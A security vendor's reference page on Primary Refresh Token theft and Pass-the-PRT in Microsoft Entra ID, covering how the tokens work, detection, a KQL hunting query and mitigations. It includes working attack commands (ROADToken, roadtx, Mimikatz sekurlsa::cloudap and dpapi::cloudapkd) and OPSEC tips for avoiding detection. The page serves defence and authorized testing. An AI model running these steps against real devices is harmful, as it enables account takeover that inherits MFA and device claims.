1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Primary Refresh Token (PRT) Theft and Pass-the-PRT

Also known as: Pass-the-PRT, PRT cookie theft, x-ms-RefreshTokenCredential abuse, CloudAP PRT extraction

An attacker on an Entra joined or registered Windows device takes the user's Primary Refresh Token or a PRT cookie and uses it elsewhere to sign in as the user, with the MFA and device claims.

Platform
Microsoft Entra ID
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
Code execution as the signed-in user for a PRT cookie; local administrator or SYSTEM on the device to read the PRT and its session key from LSASS.
What the attacker gains
Single sign-on as the user to every Entra application, with the MFA claim and the device identity that Conditional Access checks.

How it works

A Primary Refresh Token (PRT) is the single sign-on token of a Windows device that is Microsoft Entra joined, hybrid joined or registered. On joined devices the CloudAP plug-in in LSASS obtains it when the user signs in to Windows; on registered devices the Web Account Manager (WAM) broker obtains it when the user adds the work account. It is valid for 90 days and renewed during use, with CloudAP attempting a renewal every four hours.

The PRT is not an API permission. It is presented to Microsoft Entra ID, which answers with access and refresh tokens for whatever application the broker asks for. Those tokens inherit the PRT's claims: the user, the device ID, and an MFA claim if the user completed MFA on the device.

Three keys protect the flow. The device key identifies the registered device. The transport key protects delivery of the session key: Entra returns the session key encrypted to the device's transport key. The session key is the proof-of-possession key for the PRT. Every use of the PRT is signed with a key derived from the session key, so the token alone is not enough. On hardware that supports it, the private key operations happen in the TPM.

That leaves three ways to abuse it:

  • PRT cookie from the user's session. Browsers get single sign-on by asking the broker for a PRT cookie, a signed JWT named x-ms-RefreshTokenCredential. Chrome does this through a native messaging host, BrowserCore.exe. Any code running as the user can make the same request. No administrator rights are needed. The cookie is bound to a server nonce and is short-lived, so it is used immediately, but the refresh token obtained with it lasts.
  • PRT and session key from LSASS. With local administrator rights the attacker reads the PRT and the protected session key from the CloudAP cache and decrypts the key. With both, the attacker can sign new requests on any machine for as long as the PRT is valid.
  • Derived keys on a TPM device. When the session key is in the TPM it cannot be exported, but the device will still derive signing keys on request. An administrator on the device can produce a derived key and its context and use those to sign PRT cookies elsewhere.

A different route to the same result is to register a new device and obtain a fresh PRT for it; that is covered under rogue device registration.

Prerequisites

  • A Windows device that is Entra joined, hybrid joined or registered, with a user who has a PRT (AzureAdPrt : YES).
  • Code execution on that device: as the user for the cookie route, as local administrator or SYSTEM for the LSASS route.
  • For indefinite off-device use: a session key that is not protected by a TPM, or the ability to produce derived keys on the device.
  • Target resources that are not covered by an enforced token protection policy.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Confirm the device has a PRT

dsregcmd /status

In the output, AzureAdJoined or WorkplaceJoined shows the device state, AzureAdPrt : YES shows the user has a PRT, and TpmProtected shows whether the device keys are in a TPM.

2. Request a PRT cookie as the user

The attacker first asks Entra for a nonce from their own machine, then has the victim's device sign a cookie for that nonce, then redeems the cookie:

# Attacker machine: request a nonce
roadrecon auth --prt-init
:: Victim device, in the user's session: ask the broker for a PRT cookie bound to the nonce
ROADToken.exe NONCE_FROM_PREVIOUS_STEP
# Attacker machine: redeem the cookie for tokens
roadrecon auth --prt-cookie COOKIE_FROM_VICTIM

# Or open a browser session with the cookie injected
roadtx browserprtauth --prt-cookie COOKIE_FROM_VICTIM -url https://portal.azure.com

3. Extract the PRT and session key from LSASS

As local administrator, Mimikatz dumps the CloudAP cache. The output contains the PRT and a ProofOfPossesionKey whose KeyValue is the DPAPI-protected session key. Decrypting it needs SYSTEM:

mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:KEYVALUE_FROM_CLOUDAP /unprotect

The last command prints the clear session key. With the PRT and the clear key, roadtx signs its own requests:

# Tokens for a client and resource, like the Windows broker would request them
roadtx prtauth --prt PRT_VALUE --prt-sessionkey CLEAR_KEY_HEX -c azcli -r azrm

# Interactive browser session with single sign-on
roadtx browserprtauth --prt PRT_VALUE --prt-sessionkey CLEAR_KEY_HEX -url https://myapps.microsoft.com

# Only print a PRT cookie
roadtx prtcookie --prt PRT_VALUE --prt-sessionkey CLEAR_KEY_HEX

4. TPM-protected devices: derive a key on the device

The session key cannot be exported, so the attacker asks the device to derive a signing key for a chosen context and sign a cookie for the PRT:

mimikatz # dpapi::cloudapkd /keyvalue:KEYVALUE_FROM_CLOUDAP /keyname:KEYNAME_FROM_CLOUDAP /context:CONTEXT_HEX /prt:PRT_VALUE
mimikatz # dpapi::cloudapkd /context:CONTEXT_HEX /derivedkey:DERIVED_KEY_HEX /prt:PRT_VALUE

The first form derives the key through the TPM and signs. The second signs with a derived key that was captured earlier, on any machine. The result is a PRT cookie that is used as in step 2.

5. Use the tokens

The tokens are stored in .roadtools_auth and work with the other ROADtools commands, or with any client that accepts a bearer token. roadtx prt -a renew extends a PRT the attacker holds together with its session key.

Impact

The attacker is the user for every application behind Microsoft Entra ID: mail, files, Teams, the Azure portal and any SaaS application with single sign-on. Because the tokens carry the device ID and the MFA claim, Conditional Access policies that require MFA or a compliant or hybrid joined device are satisfied.

Access lasts beyond the theft. Refresh tokens obtained with the PRT are valid on their own, and a PRT held with its session key can be renewed. If the user is an administrator, the same session reaches the admin portals. PRT theft is therefore a strong reason to keep privileged sign-ins off general-purpose workstations.

OPSEC and artifacts

  • Stay in user context. The cookie route needs no elevation and no LSASS access, so credential dumping detections do not fire. It still starts BrowserCore.exe from a process that is not a browser, with an unusual command line, which endpoint telemetry records.
  • Match the client. Requesting tokens for the clients the user really uses (Office, Teams, Edge) keeps the sign-in log plausible. A sign-in by the Azure CLI or Azure PowerShell client for a non-technical user stands out.
  • Use it from nearby. Tokens used from the victim's network range avoid location anomalies. Used from elsewhere, the sign-in log shows the victim's device ID together with an IP address the device has never had.
  • LSASS access. Reading the CloudAP cache means opening LSASS with debug privilege and then impersonating SYSTEM. Endpoint detection for LSASS access applies, as on any LSASS credential dumping.
  • Sign-in log. Non-interactive sign-ins made with a PRT show IncomingTokenType as a primary refresh token, with the device details the PRT carries. An incoming PRT indicator does not prove that the presenter held the session key on the original device; it only describes the input to that sign-in.
  • Token protection status. Where a token protection policy applies, the sign-in records whether the session was bound in TokenProtectionStatusDetails. An unbound session on a resource the policy covers is the mark of a token used off-device.
  • Nothing on disk is required. Tools can run in memory and the PRT is never written to a file by the attacker, so file-based indicators are weak.

Detection

  • ID Protection. The risk detection "Possible attempt to access Primary Refresh Token (PRT)" (attemptedPrtAccess) is raised from Microsoft Defender for Endpoint signals and moves the user to high risk. It fires only where Defender for Endpoint is deployed. The token theft rules include it together with the anomalous token detection.
  • Endpoint. BrowserCore.exe started by anything other than a browser's native messaging host, and non-system processes opening LSASS.
  • Sign-in correlation. One device ID appearing from two networks, or a session whose device details change between rows.
  • Rogue devices. A new device followed by PRT sign-ins is covered by the rogue device registration rules.
// PRT-based sign-ins: one device seen from several addresses
union
    (SigninLogs
     | extend Device = DeviceDetail, Protection = TokenProtectionStatusDetails),
    (AADNonInteractiveUserSignInLogs
     | extend Device = parse_json(DeviceDetail), Protection = parse_json(TokenProtectionStatusDetails))
| where TimeGenerated >= ago(1d)
| where IncomingTokenType has "primaryRefreshToken"
| extend DeviceId = tostring(Device.deviceId)
| where isnotempty(DeviceId)
| summarize Addresses = dcount(IPAddress), AddressList = make_set(IPAddress, 10),
            Apps = make_set(AppDisplayName, 10)
    by UserPrincipalName, DeviceId
| where Addresses > 1

Laptops change networks all day, so the result is a list to review, not an alert. Count rows with a missing device ID separately, and read the authentication details before dating an MFA challenge: a multifactor requirement can be satisfied by a claim the PRT already carried.

Mitigation

  • Require token protection. A Conditional Access token protection policy makes supported clients on supported resources (Exchange Online and SharePoint Online among them) present a session token that is bound to the device. Start in report-only, review unsupported clients and exclusions, then enforce.
  • Keep keys in hardware. Use devices with a TPM so the session key cannot be exported, and check TpmProtected in the device state.
  • Remove local administrator rights from users. The LSASS route and the derived-key route both need them.
  • Protect LSASS. LSA protection raises the bar for reading LSASS memory; see the LSA protection and Credential Guard guide.
  • Separate privileged work. Administrators should sign in to admin portals only from privileged access workstations, so a stolen PRT from a general workstation does not carry admin rights.
  • Require compliant devices for sensitive applications and pair the result with endpoint investigation: a compliant device can still host an attacker's process.
  • Act on risk. A user risk policy that forces remediation on high risk catches the ID Protection detection; the risky users guide shows how.
  • When responding, disable the device object first, then revoke the user's sessions and reset the password. Existing access tokens can stay usable until they expire unless the resource supports continuous access evaluation.

Detection rules for this attack

Log events to collect

FAQ

What is a Primary Refresh Token?

A long-lived token that Microsoft Entra ID issues to a user on a registered, joined or hybrid joined device. The operating system's broker uses it to get access tokens for applications without asking the user again. It carries claims about the user and the device, and it is valid for 90 days and renewed while the device is in use.

Does stealing a PRT bypass MFA?

It reuses MFA rather than bypassing it. If the user satisfied MFA on the device, the PRT carries that claim and tokens obtained with it carry it too. The attacker also inherits the device ID, so Conditional Access policies that require a compliant or hybrid joined device see the victim's device.

Does a TPM stop PRT theft?

It stops the session key from leaving the device, so an attacker cannot copy the PRT and its key and use them indefinitely elsewhere. It does not stop use on the device: with administrator rights an attacker can still ask the device to derive signing keys, and with user rights can still request PRT cookies while they have code running there.

How do you invalidate a stolen PRT?

Disable or delete the device object in Microsoft Entra ID. The PRT is bound to the device, so it stops working. Then revoke the user's refresh tokens and reset the password, because refresh tokens already obtained with the PRT are separate and stay valid until revoked.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.